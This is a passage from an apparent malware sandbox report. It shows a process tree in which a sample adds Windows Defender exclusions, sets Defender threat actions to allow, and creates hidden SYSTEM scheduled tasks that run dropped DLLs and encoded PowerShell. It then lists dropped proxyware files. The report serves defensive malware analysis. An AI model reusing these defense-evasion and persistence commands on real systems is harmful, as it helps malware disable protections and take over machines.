                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:4500
                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zsZzwhYeuFVAAsFsWQR" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:4680
                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\zsZzwhYeuFVAAsFsWQR" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:5048
                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\TySQcdHUSpIabSVB /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:4708
                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\TySQcdHUSpIabSVB /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:716
                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:1152
                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:5064
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:2192
                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:4112
                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\ukyCEGJvThRLywmTT /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:2324
                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\ukyCEGJvThRLywmTT /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:2432
                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\UWOMPYNRVsaMmwUf /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:3708
                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\UWOMPYNRVsaMmwUf /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                          3⤵
                                                                                                                                                                                            PID:760
                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                          schtasks /CREATE /TN "gUIPuLlKp" /SC once /ST 02:07:37 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                                                          2⤵
                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                          PID:4172
                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                          schtasks /run /I /tn "gUIPuLlKp"
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:4700
                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                            schtasks /DELETE /F /TN "gUIPuLlKp"
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:1772
                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                              schtasks /CREATE /TN "BbXlheKkEwHKUjKRj" /SC once /ST 00:55:32 /RU "SYSTEM" /TR "\"C:\Windows\Temp\UWOMPYNRVsaMmwUf\ACgjDfzpevxyFLP\lPyrAqW.exe\" pR /xvBDdidbF 757674 /S" /V1 /F
                                                                                                                                                                                              2⤵
                                                                                                                                                                                              • Drops file in Windows directory
                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                              PID:2500
                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                              schtasks /run /I /tn "BbXlheKkEwHKUjKRj"
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:3136
                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 3800 -s 1072
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                • Program crash
                                                                                                                                                                                                PID:5044
                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                                                              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                                                              1⤵
                                                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                              PID:2460
                                                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:812
                                                                                                                                                                                                • C:\Windows\system32\gpupdate.exe
                                                                                                                                                                                                  "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:2652
                                                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:5048
                                                                                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                      PID:2324
                                                                                                                                                                                                    • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                        PID:4104
                                                                                                                                                                                                      • C:\Windows\system32\gpscript.exe
                                                                                                                                                                                                        gpscript.exe /RefreshSystemParam
                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                          PID:2292
                                                                                                                                                                                                        • C:\Windows\Temp\UWOMPYNRVsaMmwUf\ACgjDfzpevxyFLP\lPyrAqW.exe
                                                                                                                                                                                                          C:\Windows\Temp\UWOMPYNRVsaMmwUf\ACgjDfzpevxyFLP\lPyrAqW.exe pR /xvBDdidbF 757674 /S
                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                          • Checks computer location settings
                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                          • Drops Chrome extension
                                                                                                                                                                                                          • Drops file in System32 directory
                                                                                                                                                                                                          • Drops file in Program Files directory
                                                                                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                          PID:912
                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:764
                                                                                                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:1528
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                      PID:2920
                                                                                                                                                                                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                          PID:2892
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                      forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:1320
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                            PID:2180
                                                                                                                                                                                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                PID:5004
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                            forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:3256
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                  PID:384
                                                                                                                                                                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                      PID:412
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                  forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                    PID:4596
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                        PID:1280
                                                                                                                                                                                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                            PID:1076
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                          PID:4700
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                            /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                              PID:4028
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                • Drops file in System32 directory
                                                                                                                                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                PID:4484
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                                                                                                                                  "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                    PID:2296
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                            schtasks /DELETE /F /TN "bHuLlFiMfvTziUvwMD"
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                              PID:2912
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                PID:624
                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                                  forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                    PID:736
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                        PID:2180
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                          powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                          • Drops file in System32 directory
                                                                                                                                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                          PID:4436
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                                                            "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                            PID:4484
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                    schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\mVMKVgWMU\lBSqoi.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "kElRZVAVvqcSGPN" /V1 /F
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                    • Drops file in Windows directory
                                                                                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                                                                                    PID:3028
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                    schtasks /CREATE /TN "kElRZVAVvqcSGPN2" /F /xml "C:\Program Files (x86)\mVMKVgWMU\IPVaKOm.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                                                                                    PID:4332
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                    schtasks /END /TN "kElRZVAVvqcSGPN"
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                      PID:1716
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                      schtasks /DELETE /F /TN "kElRZVAVvqcSGPN"
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                        PID:3756
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                        schtasks /CREATE /TN "IZNMvunMQzNjuU" /F /xml "C:\Program Files (x86)\maCygNOmXtQU2\tSiyiGk.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                                                                        PID:1692
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                        schtasks /CREATE /TN "CopxGarViqyrx2" /F /xml "C:\ProgramData\TySQcdHUSpIabSVB\kAJHnCM.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                                                                        PID:3012
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                        schtasks /CREATE /TN "iJTrKqQdAsrbNePbY2" /F /xml "C:\Program Files (x86)\zsZzwhYeuFVAAsFsWQR\utRkbKa.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                                                                        PID:1276
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                        schtasks /CREATE /TN "GpLgrtjcYcVaQDUFAvv2" /F /xml "C:\Program Files (x86)\mOXDUPyHdwssC\eqSXpYM.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                                                                        PID:3344
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                        schtasks /CREATE /TN "avUfzjsEMSYPhnKkd" /SC once /ST 05:48:12 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\UWOMPYNRVsaMmwUf\AjNFmNzk\cCXZBSX.dll\",#1 /bftdidLXTS 757674" /V1 /F
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Drops file in Windows directory
                                                                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                                                                        PID:1432
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                        schtasks /run /I /tn "avUfzjsEMSYPhnKkd"
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                          PID:4440
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                          schtasks /DELETE /F /TN "BbXlheKkEwHKUjKRj"
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                            PID:4424
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 912 -s 2308
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                                                            PID:716
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 3800 -ip 3800
                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                            PID:640
                                                                                                                                                                                                                                                          • C:\Windows\system32\rundll32.EXE
                                                                                                                                                                                                                                                            C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\UWOMPYNRVsaMmwUf\AjNFmNzk\cCXZBSX.dll",#1 /bftdidLXTS 757674
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                              PID:4028
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\UWOMPYNRVsaMmwUf\AjNFmNzk\cCXZBSX.dll",#1 /bftdidLXTS 757674
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                • Blocklisted process makes network request
                                                                                                                                                                                                                                                                • Checks BIOS information in registry
                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                • Enumerates system info in registry
                                                                                                                                                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                PID:3368
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                  schtasks /DELETE /F /TN "avUfzjsEMSYPhnKkd"
                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                    PID:384
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 3284 -ip 3284
                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                  PID:332
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 912 -ip 912
                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                    PID:2516

                                                                                                                                                                                                                                                                  Network

                                                                                                                                                                                                                                                                        MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                                                        Replay Monitor

                                                                                                                                                                                                                                                                        Loading Replay Monitor...

                                                                                                                                                                                                                                                                        Downloads

                                                                                                                                                                                                                                                                        NLog.dll
                                                                                                                                                                                                                                                                        • Path C:\Program Files\Geonode\Repocket\NLog.dll
                                                                                                                                                                                                                                                                        • Size 860KB
                                                                                                                                                                                                                                                                        • SHA256 82cfbfe7bafbe8981718b278884239692f814b240cedb5644d24fccfaa094197
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        Repocket.exe
                                                                                                                                                                                                                                                                        • Path C:\Program Files\Geonode\Repocket\Repocket.exe
                                                                                                                                                                                                                                                                        • Size 848KB
                                                                                                                                                                                                                                                                        • SHA256 db981ee28230f208f5f00bb08414d4effda0c67e72228d7551eb7ff06d82319e
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        Repocket.exe.config
                                                                                                                                                                                                                                                                        • Path C:\Program Files\Geonode\Repocket\Repocket.exe.config
                                                                                                                                                                                                                                                                        • Size 2KB
                                                                                                                                                                                                                                                                        • SHA256 c092e9c065f1341b0f96dd20ddbf650f49c6fa01fbb295a1fa49d9598e818946
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        Serilog.dll
                                                                                                                                                                                                                                                                        • Path C:\Program Files\Geonode\Repocket\Serilog.dll
                                                                                                                                                                                                                                                                        • Size 133KB
                                                                                                                                                                                                                                                                        • SHA256 5c2f34412502f6c5a5aa9226b71f4809aa73bf90f46c79faeb97172955178b26
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        {DBDE73E2-BC5F-41AD-9E14-0105D4813C2F}.xpi
                                                                                                                                                                                                                                                                        • Path C:\Program Files\Mozilla Firefox\browser\features\{DBDE73E2-BC5F-41AD-9E14-0105D4813C2F}.xpi
                                                                                                                                                                                                                                                                        • Size 641KB
                                                                                                                                                                                                                                                                        • SHA256 593848c1bf6531e21ac72761f7e2ac063b1ac2394c7c490a44c7a40d863e1272
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        WinProxy.exe
                                                                                                                                                                                                                                                                        • Path C:\Program Files\WProxy\WinProxy\WinProxy.exe
                                                                                                                                                                                                                                                                        • Size 143KB
                                                                                                                                                                                                                                                                        • SHA256 4fbb09c81a02c393de9d124ca85d178eb07f4ebc49d33b8246373e9f474e4c3e
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        p2p-sdk.dll
                                                                                                                                                                                                                                                                        • Path C:\Program Files\WProxy\WinProxy\p2p-sdk.dll
                                                                                                                                                                                                                                                                        • Size 231KB
                                                                                                                                                                                                                                                                        • SHA256 88060430ac7d8f3e165317c2ff0a8a6e68265e5a473882183f630dc687a96f3d
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        pawns-sdk.dll
                                                                                                                                                                                                                                                                        • Path C:\Program Files\WProxy\WinProxy\pawns-sdk.dll
                                                                                                                                                                                                                                                                        • Size 6.1MB
                                                                                                                                                                                                                                                                        • SHA256 33d53ee8eb4955ac7aa80f2a3fc0ae97ebaf6f418a8a09ae8d569ae5596bc5f1
                                                                                                                                                                                                                                                                        • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                                                                                        Submit Download

                                                                                                                                                                                                                                                                        anyaudioconverter.exe
                                                                                                                                                                                                                                                                        • Path C:\Users\Admin\AppData\Local\Any Audio Converter\anyaudioconverter.exe
                                                                                                                                                                                                                                                                        • Size 3.5MB
